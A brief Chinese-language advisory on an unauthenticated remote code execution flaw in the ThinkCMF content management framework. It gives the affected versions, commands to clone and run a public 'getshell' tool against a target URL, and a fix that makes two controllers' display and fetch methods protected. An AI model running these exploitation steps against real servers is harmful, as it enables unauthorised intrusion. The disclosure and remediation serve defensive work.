一、背景
ThinkCMF是一款基于PHP MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建。ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展。
每个应用都能独立的完成自己的任务,也可通过系统调用其他应用进行协同工作。在这种运行机制下,开发商场应用的用户无需关心开发SNS应用时如何工作的,但他们之间又可通过系统本身进行协调,大大的降低了开发成本和沟通成本。
官网:http://www.thinkcmf.com
二、影响版本
ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
三、漏洞危害
远程攻击者在无需任何权限情况下,通过构造特定的请求包即可在远程服务器上执行任意代码。
四、漏洞利用
查找漏洞版本
然后下载ThinkCMF_getshell
git clone https://github.com/jas502n/ThinkCMF_getshell
cd ThinkCMF_getshell
python ThinkCMF_getshell.py http://x.x.x.x/
kali已经检验目标存在漏洞,打开目标网站执行命令查看当前目录的文件
五、修复方法
将 HomebaseController.class.php 和 AdminbaseController.class.php 类中 display 和 fetch 函数的修饰符改为 protected
注:本工具不得用于商业用途,仅做学习交流,一切后果自行承担。